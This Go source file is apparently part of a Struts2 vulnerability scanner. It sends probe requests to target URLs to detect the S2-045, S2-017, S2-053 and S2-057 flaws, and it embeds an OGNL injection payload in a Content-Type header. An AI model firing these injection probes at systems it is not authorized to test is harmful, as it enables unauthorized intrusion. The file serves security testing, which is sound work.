package VulnerabilityScanner

import (
	gc "Struts2Scanner/concurrentTask/getClient"
	"Struts2Scanner/funcs"
	"Struts2Scanner/vars"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func Gpoc(poc, url string, header map[string]string) string {
	client := gc.GetClient()
	req, err := http.NewRequest("GET", url+poc,nil)
	if err != nil {
		return ""
	}
	req.Header.Add("User-Agent", header["User-Agent"])
	req.Header.Add("Accept", header["Accept"])
	req.Header.Add("Content-Type", header["Content-Type"])

	reqs, err := (*client).Do(req)
	if err != nil {
		return ""
	}

	defer reqs.Body.Close()
	body, _ := ioutil.ReadAll(reqs.Body)
	return string(body)
}

func Gpoc0452(url string) {
	client := gc.GetClient()
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		return
	}

	req.Header.Add("Content-Type", "${#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"testvuln\",1234*1234)}.multipart/form-data")
	reqs, errs := (*client).Do(req)
	if errs != nil {
		return
	}
	if strings.Contains(reqs.Header.Get("testvuln"),"1522756") == true {
		fmt.Printf("\033[1;31m%s\033[0m\n","[+]目标" + url + "存在struts2-045-2漏洞")
		funcs.AddHistory(url+" find struts2-045-2 successfully\n")
	}
	return
}

func Gpoc017(url string, header map[string]string) {
	client := gc.GetClient()
	req, err := http.NewRequest("GET", url+"?redirect:https://www.baidu.com/%23", nil)
	if err != nil {
		return
	}
	req.Header.Add("User-Agent", header["User-Agent"])
	req.Header.Add("Accept", header["Accept"])
	req.Header.Add("Content-Type", header["Content-Type"])

	reqs, err := (*client).Do(req)
	if err != nil {
		return
	}
	if reqs.StatusCode == 302 {
		fmt.Printf("\033[1;31m%s\033[0m\n","[+]" + url +"struts2-017检测成功（暂无可用POC）：")
		funcs.AddHistory(url+" find struts2-017 successfully\n")
	}
	return
}

func Gpoc053(url string, header map[string]string) {
	client := gc.GetClient()
	var params = []string{
		"id",
		"name",
		"filename",
		"username",
		"password",
	}
	for i := range params{
		req, err := http.NewRequest("GET", url+"?"+params[i]+"="+vars.Poc["ST2_053"], nil)
		if err != nil {
			return
		}
		req.Header.Add("User-Agent", header["User-Agent"])
		req.Header.Add("Accept", header["Accept"])
		req.Header.Add("Content-Type", header["Content-Type"])
		reqs, errs := (*client).Do(req)
		if errs != nil {
			return
		}
		body, _ := ioutil.ReadAll(reqs.Body)
		defer reqs.Body.Close()
		funcs.ConcurrentChecking(url, string(body), "struts2-053"+"参数（"+params[i]+"）")
	}
	return
}

func Gpoc057(urll string, header map[string]string) {
	client := gc.GetClient()
	surl,_ := url.Parse(urll)
	rul1 := strings.Replace(urll, surl.Path, "", -1) + vars.Poc["struts2_057_1"] + surl.Path
	req1, err1 := http.NewRequest("GET", rul1, nil)
	if err1 != nil {
		return
	}
	req1.Header.Add("User-Agent", header["User-Agent"])
	req1.Header.Add("Accept", header["Accept"])
	reqs1, err1 := (*client).Do(req1)
	if err1 != nil {
		return
	}
	body, _ := ioutil.ReadAll(reqs1.Body)
	defer reqs1.Body.Close()
	funcs.ConcurrentChecking(urll, string(body), "struts2-057-1")

	rul2 := strings.Replace(urll, surl.Path, "", -1) + vars.Poc["struts2_057_2"] + surl.Path
	req2, err2 := http.NewRequest("GET", rul2, nil)
	if err2 != nil {
		return
	}
	req2.Header.Add("User-Agent", header["User-Agent"])
	req2.Header.Add("Accept", header["Accept"])
	reqs2, err2 := (*client).Do(req2)
	if err2 != nil {
		return
	}
	body, _ = ioutil.ReadAll(reqs2.Body)
	defer reqs2.Body.Close()
	funcs.ConcurrentChecking(urll, string(body), "检测struts2-057-2")
	return
}

